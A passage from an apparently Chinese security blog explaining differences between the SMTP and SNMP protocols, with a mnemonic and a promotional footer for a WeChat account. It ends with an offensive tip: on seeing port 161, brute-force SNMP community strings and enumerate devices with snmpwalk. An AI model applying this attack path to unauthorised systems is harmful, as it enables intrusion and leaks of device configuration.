→ 更正:SNMP传输的是设备状态数据(如温度值90°C),SMTP传输的是用户生成的邮件内容。
-
❌ 误区:”两者都用字符串认证(如SMTP密码 vs SNMP团体名),所以是一类协议?“
→ 更正:SMTP认证用于邮件发送权限,SNMP团体字符串用于设备管理权限(后者常导致严重配置泄露)
记忆口诀
📌 “邮差SMTP送信忙,网管SNMP查设备”
- SMTP → 联想 信封/邮件(S for Send Mail)
- SNMP → 联想 网络设备(S for System/Network Management)
下次实战:扫描到161端口?立刻反应:这是SNMP协议 → 尝试爆破团体字符串 → 用snmpwalk查设备信息。完全不同的攻击路径!
🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
扫描下方二维码,马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号
或者直接回复文章中的关键词,获取更多技术资料与书单推荐!📚